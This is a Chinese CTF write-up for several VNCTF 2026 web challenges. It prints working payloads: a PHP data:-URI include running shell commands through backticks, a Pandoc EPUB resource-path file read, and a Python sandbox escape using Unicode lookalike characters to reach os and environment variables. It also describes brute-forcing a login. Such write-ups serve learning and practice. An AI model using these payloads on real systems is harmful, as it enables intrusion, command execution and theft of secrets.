VNCTF 2026-web(部分wp无java反序列化)

Signin

审视源码发现过滤了['/', 'convert', 'base', 'text', 'plain']

由GET体file传参进行文件包含(当file长度小等于20时)

于是便可以用data协议进行文件上传包含,但是//被ban,所以可以用短符号简写绕过:data;,
然后,由于include具有解析上传文件的特性,能把上传的文件当作php代码识别,故可以写出以下payload:?file=data:,<?phpinfo();?>

phpinfo显示short_open_tag=On,所以可以用短标签减少字数

随后就可以构建一句话了

原本是<?=eval($_GET[x]);这样的,但是长度超20了

于是上网搜得反引号是 shell_exec() 的语法糖

即`$_GET[0]`  ===  shell_exec($_GET[0])

(题目不支持POST传参)

所以构得最后payload:?file=data:,<?=`$_GET[x]`;&x=cat /flag

得到flag

渗透测试

题目是一个登录框,给了一个密码附件,很明显是要去爆破密码,一共两万个密码()

Burp suite抓包发现上传的参数被加密了,所以直接用intruder爆破肯定不现实,所以便然ai写了个模拟键盘输入的python脚本一个个爆破密码,用户名admin

最后跑了一个晚上跑出来了(分多个虚拟机同时跑),密码是5V26s9dBZQVBZgyyVC00baeW

 Markdown2world

首先试了一下上传别的后缀文件,提示只能上传.md或.markdown后缀的文件,于是只能在Pandoc机制,转换机制,和不同类型文件的特性中研究

题目提示了

于是只能上网搜一下这几种文件都有哪些可能的漏洞

发现可以试试tamplate模板注入,于是构造payload:
---

template: /flag

---

xxxxxxxxx(一定要写)

上传,发现被拦截了

template和reference-doc被过滤,pdf文件有上传不了,只能试试通过资源文件引用+EPUB打包机制 进行任意文件读取,或者通过文件名注入命令了

首先是看了上传后文件名会被重新修改,于是随便上传了一个名为<?phpinfo();?>.md的文件。但是没用

那就只能试试Pandoc的特性:
Pandoc生成EPUB时,有一个特性叫 "Resource Fetching"(资源抓取),只要通过构造特殊的资源抓取语句来改变EPUB抓取的资源的路径即可达到类似于“文件包含”的效果,将flag打包下载下来

Payload(可以多设几条路径提高拿到flag的概率):
---

resource-path: ["/", "/tmp", "/home/ctf", "."]

---

![flag](/flag)
下载下来后可以改后缀为.zip来解压

在解压包中拿到flag:

(本来想试试docx和html的漏洞的,但试了几个常见的payload发现没那么简单)

I really really really

看到题目发现考的是python沙箱逃逸(慌了),只能现学现卖了()

先进行简单的fuzz测试,发现常规的’ “ [ ] { } __ ;和数字0-9都被过滤了,hint提及unicode,于是就去搜寻这些字符有关的unicode编码其他格式(查了超多资料,这里只写了有用的编码)
发现单引号:  ʼ [U+02BC]修饰符右单引号
没被过滤

发现_没被过滤

就想着引入模块去做,结果发现几乎全部的模块都被删了(应该是所有的)

首先先要解决__的问题,这里用了fuzz测试了多种组合:_̲  ﹍﹎ ﹏﹍ ⁔﹍ ﹋﹌等等等一大把

最后发现只有_̲ 和 ﹎_没被过滤,本来以为_̲ 可以,结果不知道为啥系统自动识别成了普通字符

随后就是关键字的问题,本来想着用ʼ claʼ +ʼss ʼ的方法绕过的,但是失败了,但是后来看到题目的字体后才发觉可以试试数学花体字母𝓬𝓵𝓪𝓼𝓼,于是就成功了

等基本的完工后就运用一点ssti的知识读取flag

但是不知道为啥始终返回空白

等后面群里师傅说在环境变量里也有flag才找到另一条生路

首先鉴于单行字符不能超过30,所以采用拼接的方式串联起payload:
 

a=()

b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_

c=b._﹍𝓫𝓪𝓼𝓮﹍_

d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()

for x in d:

 try:

  g=x._﹍𝓲𝓷𝓲𝓽﹍_._﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_

except:pass

随后就是通过报错

(触发AssertionError: <r的内容>,错误信息一定会显示在网页回显中)读取environ字典了

a=()

b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_

c=b._﹍𝓫𝓪𝓼𝓮﹍_

d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()

r=()

for x in d:

 try:

  g=x._﹍𝓲𝓷𝓲𝓽﹍_._﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_

  e=g.get(k).environ

  r=e

 except:pass

assert ...!=...,r

但是这个回显是

跟ai探讨了一个小时左右,发现原来不是模块被删了,而是放到别的模块去了(应该是的),所以只能利用一个try/expect循环遍历__init__.__globals__找到包含os模块的globals

最后生成的payload如下:
a=()

b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_

c=b._﹍𝓫𝓪𝓼𝓮﹍_

d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()

r=()

for x in d:

 try:

  g=x._﹍𝓲𝓷𝓲𝓽﹍_._﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_

  for k in g:

   try:

    e=g.get(k).environ

    r=e

   except:pass

 except:pass

assert ...!=...,r

在环境变量中找到flag:

其实我本来是想把flag导入到同目录的文件中的

a=()

b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_

c=b._﹍𝓫𝓪𝓼𝓮﹍_

d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()

r=()

for x in d:

 try:

  g=x._﹍𝓲𝓷𝓲𝓽﹍_._﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_

  h=g.get(ʼosʼ)

  h.system(ʼcat /flag>/tmp/aʼ)

 except:

  pass

assert ...!=...,r

但是代码太长了,导致不能实现

Read more

RTAB-Map学习记录(1)--论文阅读

RTAB-Map学习记录(1)--论文阅读

前言 RTAB-Map(全称 Real-Time Appearance-Based Mapping)是一个开源的 RGB-D SLAM框架,主要用于机器人导航、3D 重建和环境建图。这个项目目前还在积极的维护和更新,也可以进行实际环境的部署。所以先学习一下相关的原理和论文,为之后的使用打下基础。 文章目录 * 前言 * 1.主要贡献 * 2.关键内容 * 2.1 里程计 * 2.1.1 视觉里程计 * 2.1.2 激光雷达里程计 * 2.2 同步性 * 2.3 STM * 2.4 回环检测与优化 * 2.5 全局地图组成 1.主要贡献 首先看一下该方法的主要贡献有哪些,现有一个基本的了解: 1.

(6-4-02)IMU融合与机体状态估计:综合实战:腿式机器人的IMU关节融合与状态估计(2)

(6-4-02)IMU融合与机体状态估计:综合实战:腿式机器人的IMU关节融合与状态估计(2)

6.4.3  状态估计 “src”目录包含本项目状态估计的核心算法实现和工具模块,涵盖惯性导航与人形机器人运动状态估计的完整流程,包括EKF状态预测与更新、IMU数据补偿与积分、机器人足端运动学计算、静态初始对准、导航结果与误差输出、数据流生成及可视化工具,整体提供从原始传感器数据到导航状态估计和分析的全链路功能,实现机器人高精度运动导航和状态监控。 1. IMU数据的传播与补偿 文件src/imuPropagation.py的功能是提供IMU数据的传播与补偿机制,用于惯性导航系统(INS)中状态更新。INSMech 类实现了基于前一时刻和当前IMU测量的速度、位置和姿态传播,同时对IMU角速度和加速度进行偏差与缩放误差补偿。_wrap_yaw_inplace用于将偏航角限制在 -π,π 范围内。 import numpy as np from scipy.spatial.transform import Rotation as R def _wrap_yaw_inplace(euler_

集团企业数字化:低代码如何实现多子公司、多系统的统一管理?

集团企业数字化:低代码如何实现多子公司、多系统的统一管理?

集团企业数字化的核心困境:失控的复杂性 集团企业在数字化进程中普遍面临"规模诅咒"——组织规模扩大带来的不是效率倍增,而是管理复杂度指数级上升。总部与子公司、子公司之间形成的数据孤岛,导致决策如盲人摸象,员工需在多个系统间切换完成简单任务;各业务板块流程标准不一,审批效率参差不齐,集团战略难以落地;老系统与新系统并存,技术栈异构,集成成本居高不下;跨地域、跨部门协作困难,信息传递失真,响应速度迟缓。 更致命的是,这种复杂性往往陷入"投入越多,效率越低"的怪圈——为解决系统割裂问题而引入更多系统,反而加剧了管理混乱。传统IT建设模式周期长、成本高、灵活性差,已无法满足集团企业快速响应市场变化和业务创新的需求。 低代码:集团统一管理的破局之道 低代码平台作为一种可视化、高效率、可扩展的应用开发技术,正成为集团企业打破信息孤岛、实现统一管理的理想选择。它通过以下核心能力解决集团管理痛点: 集团管理痛点低代码解决方案价值体现数据孤岛统一数据底座,多数据源整合,实时数据同步消除数据不一致,提供单一事实来源,支撑数据驱动决策流程割裂统一流程引擎,标准化与个性化流程并存提升审批效率

AR眼镜光学镜头设计实例(含核心技巧解析)

AR眼镜光学镜头设计实例(含核心技巧解析)

AR眼镜光学镜头设计实例(含核心技巧解析) 一、应用领域 聚焦AR全场景交互需求,核心服务于消费级AR眼镜(需虚实画面叠加、轻量化佩戴)、工业AR(需远程协作标注、设备维修指引)、医疗AR(需手术视野导航、解剖结构叠加),解决传统AR镜头“视场角窄、重影眩晕、光学效率低”的痛点。 二、设计规格(关键指标与实现逻辑) • 视场角(FOV):50°(对角) 采用“自由曲面+微显示适配”技巧,通过非对称自由曲面透镜(打破旋转对称限制),将微显示屏(0.7英寸Micro-OLED)的画面投射至人眼,实现50°对角视场,覆盖人眼自然视野的30%,避免“通过小窗口看世界”的局限,提升沉浸感。 • 眼动距(Eye Relief):20mm 运用“光路折叠设计”技巧,